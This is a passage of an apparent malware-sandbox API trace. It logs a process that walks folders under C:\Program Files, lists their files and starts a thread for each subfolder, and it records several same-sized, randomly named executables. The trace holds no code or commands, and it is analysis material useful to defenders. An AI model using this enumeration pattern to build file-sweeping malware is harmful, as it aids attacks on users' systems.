(HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8140 [0085.668] wcscpy (in: _Dest=0x1b7d8140, _Source="C:\\Program Files\\MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0085.668] wcscat (in: _Dest=0x1b7d8140, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\") returned="C:\\Program Files\\MSBuild\\" [0085.668] wcscat (in: _Dest=0x1b7d8140, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\*") returned="C:\\Program Files\\MSBuild\\*" [0085.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce8e0 [0085.669] wcscmp (_String1=".", _String2=".") returned 0 [0085.669] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.669] wcscmp (_String1="..", _String2=".") returned 1 [0085.669] wcscmp (_String1="..", _String2="..") returned 0 [0085.669] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0085.669] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0085.669] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0085.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82bc20 [0085.669] wcscpy (in: _Dest=0x1b82bc20, _Source="C:\\Program Files\\MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0085.669] wcscat (in: _Dest=0x1b82bc20, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\") returned="C:\\Program Files\\MSBuild\\" [0085.669] wcscat (in: _Dest=0x1b82bc20, _Source="Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0085.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bc20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0085.670] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0085.670] FindClose (in: hFindFile=0x1b7ce8e0 | out: hFindFile=0x1b7ce8e0) returned 1 [0085.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8140) returned 1 [0085.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e80) returned 1 Thread: id = 104 os_tid = 0x774 [0085.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b7ce8e0 [0085.678] wcscpy (in: _Dest=0x1b7ce8e0, _Source="C:\\Program Files\\Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0085.678] wcscat (in: _Dest=0x1b7ce8e0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\") returned="C:\\Program Files\\Reference Assemblies\\" [0085.678] wcscat (in: _Dest=0x1b7ce8e0, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\*") returned="C:\\Program Files\\Reference Assemblies\\*" [0085.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc257b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc257b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.678] wcscmp (_String1=".", _String2=".") returned 0 [0085.678] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc257b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc257b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.678] wcscmp (_String1="..", _String2=".") returned 1 [0085.678] wcscmp (_String1="..", _String2="..") returned 0 [0085.678] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0aeb40, ftCreationTime.dwHighDateTime=0x1d5a857, ftLastAccessTime.dwLowDateTime=0x7857c30, ftLastAccessTime.dwHighDateTime=0x1d589a7, ftLastWriteTime.dwLowDateTime=0x7857c30, ftLastWriteTime.dwHighDateTime=0x1d589a7, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dirt-amended.exe", cAlternateFileName="DIRT-A~1.EXE")) returned 1 [0085.678] wcscmp (_String1="dirt-amended.exe", _String2=".") returned 1 [0085.678] wcscmp (_String1="dirt-amended.exe", _String2="..") returned 1 [0085.678] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0085.678] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0085.678] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0085.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c19c0 [0085.678] wcscpy (in: _Dest=0x1b7c19c0, _Source="C:\\Program Files\\Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0085.679] wcscat (in: _Dest=0x1b7c19c0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\") returned="C:\\Program Files\\Reference Assemblies\\" [0085.679] wcscat (in: _Dest=0x1b7c19c0, _Source="Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0085.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c19c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0085.681] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf775cc0, ftCreationTime.dwHighDateTime=0x1d5dce7, ftLastAccessTime.dwLowDateTime=0x15d34f00, ftLastAccessTime.dwHighDateTime=0x1d59669, ftLastWriteTime.dwLowDateTime=0x15d34f00, ftLastWriteTime.dwHighDateTime=0x1d59669, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wings_outdoor_ultimately.exe", cAlternateFileName="WINGS_~1.EXE")) returned 1 [0085.681] wcscmp (_String1="wings_outdoor_ultimately.exe", _String2=".") returned 1 [0085.681] wcscmp (_String1="wings_outdoor_ultimately.exe", _String2="..") returned 1 [0085.681] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf775cc0, ftCreationTime.dwHighDateTime=0x1d5dce7, ftLastAccessTime.dwLowDateTime=0x15d34f00, ftLastAccessTime.dwHighDateTime=0x1d59669, ftLastWriteTime.dwLowDateTime=0x15d34f00, ftLastWriteTime.dwHighDateTime=0x1d59669, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wings_outdoor_ultimately.exe", cAlternateFileName="WINGS_~1.EXE")) returned 0 [0085.681] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce8e0) returned 1 [0085.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce7c0) returned 1 Thread: id = 105 os_tid = 0x7ec [0085.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ce7c0 [0085.684] wcscpy (in: _Dest=0x1b7ce7c0, _Source="C:\\Program Files\\Uninstall Information" | out: _Dest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0085.684] wcscat (in: _Dest=0x1b7ce7c0, _Source="\\" | out: _Dest="C:\\Program Files\\Uninstall Information\\") returned="C:\\Program Files\\Uninstall Information\\" [0085.684] wcscat (in: _Dest=0x1b7ce7c0, _Source="*" | out: _Dest="C:\\Program Files\\Uninstall Information\\*") returned="C:\\Program Files\\Uninstall Information\\*" [0085.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce8e0 [0085.684] wcscmp (_String1=".", _String2=".") returned 0 [0085.684] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.684] wcscmp (_String1="..", _String2=".") returned 1 [0085.685] wcscmp (_String1="..", _String2="..") returned 0 [0085.685] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc07cbcb0, ftCreationTime.dwHighDateTime=0x1d5ab19, ftLastAccessTime.dwLowDateTime=0x9ae18450, ftLastAccessTime.dwHighDateTime=0x1d5a6e5, ftLastWriteTime.dwLowDateTime=0x9ae18450, ftLastWriteTime.dwHighDateTime=0x1d5a6e5, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 1 [0085.685] wcscmp (_String1="icq.exe", _String2=".") returned 1 [0085.685] wcscmp (_String1="icq.exe", _String2="..") returned 1 [0085.685] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3df1340, ftCreationTime.dwHighDateTime=0x1d5b6b3, ftLastAccessTime.dwLowDateTime=0x43891610, ftLastAccessTime.dwHighDateTime=0x1d5aa54, ftLastWriteTime.dwLowDateTime=0x43891610, ftLastWriteTime.dwHighDateTime=0x1d5aa54, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="technical-beliefs.exe", cAlternateFileName="TECHNI~1.EXE")) returned 1 [0085.685] wcscmp (_String1="technical-beliefs.exe", _String2=".") returned 1 [0085.685] wcscmp (_String1="technical-beliefs.exe", _String2="..") returned 1 [0085.685] FindNextFileW (in: hFindFile=0x1b7ce8e0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3df1340, ftCreationTime.dwHighDateTime=0x1d5b6b3, ftLastAccessTime.dwLowDateTime=0x43891610, ftLastAccessTime.dwHighDateTime=0x1d5aa54, ftLastWriteTime.dwLowDateTime=0x43891610, ftLastWriteTime.dwHighDateTime=0x1d5aa54, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="technical-beliefs.exe", cAlternateFileName="TECHNI~1.EXE")) returned 0 [0085.685] FindClose (in: hFindFile=0x1b7ce8e0 | out: hFindFile=0x1b7ce8e0) returned 1 [0085.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce7c0) returned 1 [0085.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce9a0) returned 1 Thread: id = 106 os_tid = 0x48c [0085.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82bfe0 [0085.687] wcscpy (in: _Dest=0x1b82bfe0, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0085.687] wcscat (in: _Dest=0x1b82bfe0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0085.687] wcscat (in: _Dest=0x1b82bfe0, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\*") returned="C:\\Program Files\\Windows Journal\\*" [0085.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0085.687] wcscmp (_String1=".", _String2=".") returned 0 [0085.687] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.687] wcscmp (_String1="..", _String2=".") returned 1 [0085.687] wcscmp (_String1="..", _String2="..") returned 0 [0085.687] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0085.687] wcscmp (_String1="en-US", _String2=".") returned 1 [0085.687] wcscmp (_String1="en-US", _String2="..") returned 1 [0085.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7ce7c0 [0085.688] wcscpy (in: _Dest=0x1b7ce7c0, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0085.688] wcscat (in: _Dest=0x1b7ce7c0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0085.688] wcscat (in: _Dest=0x1b7ce7c0, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0085.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0085.689] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0085.689] wcscmp (_String1="InkSeg.dll", _String2=".") returned 1 [0085.689] wcscmp (_String1="InkSeg.dll", _String2="..") returned 1 [0085.689] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0085.689] wcscmp (_String1="JNTFiltr.dll", _String2=".") returned 1 [0085.689] wcscmp (_String1="JNTFiltr.dll", _String2="..") returned 1 [0085.689] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0085.689] wcscmp (_String1="JNWDRV.dll", _String2=".") returned 1 [0085.689] wcscmp (_String1="JNWDRV.dll", _String2="..") returned 1 [0085.689] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0085.689] wcscmp (_String1="jnwdui.dll", _String2=".") returned 1 [0085.689] wcscmp (_String1="jnwdui.dll", _String2="..") returned 1 [0085.689] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0085.689] wcscmp (_String1="jnwmon.dll", _String2=".") returned 1 [0085.689] wcscmp (_String1="jnwmon.dll", _String2="..") returned 1 [0085.689] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0085.689] wcscmp (_String1="jnwppr.dll", _String2=".") returned 1 [0085.689] wcscmp (_String1="jnwppr.dll", _String2="..") returned 1 [0085.689] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0085.689] wcscmp (_String1="Journal.exe", _String2=".") returned 1 [0085.689] wcscmp (_String1="Journal.exe", _String2="..") returned 1 [0085.689] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0085.689] wcscmp (_String1="MSPVWCTL.DLL", _String2=".") returned 1 [0085.689] wcscmp (_String1="MSPVWCTL.DLL", _String2="..") returned 1 [0085.690] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0085.690] wcscmp (_String1="NBDoc.DLL", _String2=".") returned 1 [0085.690] wcscmp (_String1="NBDoc.DLL", _String2="..") returned 1 [0085.690] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0085.690] wcscmp (_String1="NBMapTIP.dll", _String2=".") returned 1 [0085.690] wcscmp (_String1="NBMapTIP.dll", _String2="..") returned 1 [0085.690] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd54acbb0, ftCreationTime.dwHighDateTime=0x1d5a38e, ftLastAccessTime.dwLowDateTime=0xc641d150, ftLastAccessTime.dwHighDateTime=0x1d596ef, ftLastWriteTime.dwLowDateTime=0xc641d150, ftLastWriteTime.dwHighDateTime=0x1d596ef, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0085.690] wcscmp (_String1="notepad.exe", _String2=".") returned 1 [0085.690] wcscmp (_String1="notepad.exe", _String2="..") returned 1 [0085.690] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, 